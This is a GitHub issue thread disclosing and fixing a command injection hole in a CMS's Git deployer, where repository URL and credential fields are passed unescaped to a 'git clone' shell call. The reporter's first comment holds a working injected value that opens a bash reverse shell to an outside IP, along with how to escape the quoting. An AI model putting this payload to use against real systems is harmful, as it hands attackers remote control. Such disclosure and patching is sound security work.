

New issue

Jump to bottom

remote code execution vulnerability #326

Closed ufo009e opened this issue on Jan 12, 2020 · 8 comments

Assignees
Labels bug high
Projects Development

ufo009e commented on Jan 12, 2020

In file src/Server/Entity/Deployer/GitDeployer.js: await HashBrown.Service.AppService.exec('git clone ' + url + ' ' + repoPath + '');

The url, username, password and other parameters accept value without proper security check. If I set the git url to something like "10.154.159.166/git" \$(bash -c 'bash -i >& /dev/tcp/10.154.159.161/8888 0>&1' &)', then when click media to trigger gitpull I can get a reverse shell.

mrzapp self-assigned this on Jan 12, 2020

mrzapp added bug high labels on Jan 12, 2020

mrzapp added this to Backlog in Development via automation on Jan 12, 2020

mrzapp moved this from Backlog to To do in Development on Jan 12, 2020

mrzapp commented on Jan 12, 2020 Member

Thank you for this report. I will make sure to parse the url and throw an exception if it fails.

ufo009e commented on Jan 12, 2020 Author

maybe you should check if there is a single quote in the git url, since in order to execute other bash command I need to put a single quote to close the one in put in the exec line. If I use real git url + single quoted bash command the git command will not raise any error.

mrzapp commented on Jan 13, 2020 Member

Alright, I will do that too

mrzapp pushed a commit that referenced this issue on Jan 13, 2020

Addresses #326 b8ba0ef

mrzapp commented on Jan 13, 2020 Member

@ufo009e the latest changes should stop this exploit now. Can you still reproduce it?

ufo009e commented on Jan 13, 2020 Author

the saved repo in db always removed https://, so your validate function always fails with 'Malformed repo URL' now.

And you need to check username and password as well, since those are a part of git url.

```
async pullRepo() {
  this.validate();

  let gitPath = Path.join(APP_ROOT, 'storage', 'git');
  await HashBrown.Service.FileService.makeDirectory(gitPath);

  let repoPath = this.getRootPath();

  let dirExists = await HashBrown.Service.FileService.exists(repoPath);

  if(!dirExists) {
    let url = 'https://';

    if(this.username) {
      url += this.username; <<<<!!!

      if(this.password) {
        url += ':' + this.password.replace(/@/g, '%40');<<<<!!!
      }

      url += '@';
    }
  }
```

```
url += this.repo;

await HashBrown.Service.AppService.exec('git clone \'' + url + '\'' + repoPath + '\');
```

 **mrzapp** pushed a commit that referenced this issue on Jan 14, 2020

Addresses [#326](#) with further fixes

ff95bba

mrzapp commented on Jan 14, 2020

Member

Alright, I've put to use the WHATWG and Node url parsers now to clean that part up too. Still able to break it?

ufo009e commented on Jan 14, 2020

Author

I always got "URL is not defined" when click media even with connection below(no malicious command at all). Is that expected? But from your code I think I couldn't exploit this any more

```
{
  "id": "d9b361967c40e876",
  "viewedBy": "ed6eca8ae8d2f786",
  "viewedOn": "2020-01-14T10:00:53.220Z",
  "title": "git_test",
  "url": "https://www.bing.com",
  "isLocked": false,
  "sync": {
    "isRemote": false,
    "hasRemote": false
  },
  "processor": {
    "name": "UISchemaProcessor",
    "alias": "uischema",
    "fileExtension": "png"
  },
  "deployer": {
    "title": "Git",
    "alias": "git",
    "paths": {
      "content": "content",
      "media": "media"
    }
  },
  "username": "username",
  "password": "password",
  "repo": "https://www.google.com",
  "branch": "master"
}
```

mrzapp commented on Jan 14, 2020

Member

If you're getting "URL is not defined", it probably means you're running an older node.js version, as that variable refers to the standard WHATWG URL object, which wasn't available in older versions.

I'll update the dependency descriptions in the README to reflect that.

Other than that, I'll close this issue, since I can't perform the exploit anymore either.

Thank you for your help!

 **mrzapp** closed this as completed on Jan 14, 2020

 **Development** automation moved this from To do to Awaiting release on Jan 14, 2020


Assignees

 **mrzapp**

Labels

bug **high**

Projects

 **Development**
Awaiting release

Milestone

No milestone

Development

No branches or pull requests

2 participants

